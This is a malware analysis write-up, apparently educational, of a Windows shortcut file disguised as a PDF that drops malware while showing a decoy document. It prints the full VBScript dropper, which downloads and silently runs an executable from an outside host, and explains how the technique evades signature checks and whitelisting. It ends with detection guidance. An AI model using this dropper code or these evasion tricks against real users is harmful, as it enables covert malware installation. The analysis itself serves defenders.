A malicious LNK file looks like a normal Windows shortcut. Inside, it hides a command that runs when the shortcut is opened. This analysis walks through extracting the embedded command, identifying the payload delivery mechanism, and tracing what the dropper does after execution — file writes, registry changes, network connections.
You downloaded what looks like a PDF. You double-clicked it. A PDF opened - everything looks normal. But in the background, malware just installed itself on your computer. You have no idea.
This is a real attack sample. It uses a Windows shortcut file (.lnk) disguised as a PDF to deliver malware while showing you a legitimate document as cover.
This is how people actually get hacked. Not through some movie-style hacking scene - through clicking a file that looked safe.
Windows hides the .lnk extension by default. So "Black_Hat_Python.pdf.lnk" shows up as "Black_Hat_Python.pdf" with an Adobe icon. Most people would click it without thinking.
Understanding this technique helps you:
Filename: Black_Hat_Python.pdf.lnk
Disguise: Adobe Acrobat icon (looks like a PDF)
Target: C:\Windows\System32\cmd.exe
Technique: LNK file abuse + VBScript dropper + decoy document
Victim sees what appears to be Black_Hat_Python.pdf but it's actually a .lnk shortcut with an Adobe icon overlay.
The shortcut's target is cmd.exe with embedded arguments that build a VBScript file dynamically.
The script uses MSXML2.XMLHTTP to fetch PSHost.exe from attacker server (203.0.113.47:8081).
PSHost.exe runs with window style 0 (hidden). User doesn't see anything suspicious.
Legitimate decoy.pdf opens in the foreground. User thinks they just opened a normal PDF.
Watch the full attack chain in action — from clicking the "PDF" to payload execution:
The LNK arguments contain a series of echo statements that build a VBScript dropper:
' Stage 1: Download implant via XMLHTTP
Set o = CreateObject("MSXML2.XMLHTTP")
o.Open "GET", "http://203.0.113.47:8081/PSHost.exe", False
o.Send
' Stage 2: Write to %TEMP%
Set s = CreateObject("ADODB.Stream")
s.Type = 1
s.Open
s.Write o.responseBody
s.SaveToFile "%TEMP%\PSHost.exe", 2
s.Close
' Stage 3: Execute hidden (windowstyle 0)
CreateObject("WScript.Shell").Run "%TEMP%\PSHost.exe", 0, False
' Stage 4: Download and open decoy PDF
o.Open "GET", "http://203.0.113.47:8081/blackhat.pdf", False
o.Send
' ... save as decoy.pdf and open ...
Understanding the HTTP request: The malware uses GET requests to download payloads. Here's how attackers abuse HTTP methods for payload delivery and data exfiltration:
Windows shortcuts can contain arguments for the target executable. By setting the icon to Adobe Acrobat and using a .pdf.lnk filename (Windows hides .lnk extension by default), the file appears to be a legitimate PDF.
Instead of dropping a pre-made script, cmd.exe uses multiple echo statements piped to a file. This can evade static signature matching that looks for complete VBScript code.
A COM object native to Windows. No PowerShell needed. Bypasses some application whitelisting controls that focus on PS execution.
LNK Target Monitoring: Alert on .lnk files where target is cmd.exe or powershell.exe
Process Chain: cmd.exe > wscript.exe (VBS execution)
Network: HTTP requests to non-standard ports (8081) from wscript.exe
File Write: EXE files written to %TEMP% by scripting engines
Infrastructure details have been redacted. These IOCs are provided for educational purposes to demonstrate the attack pattern.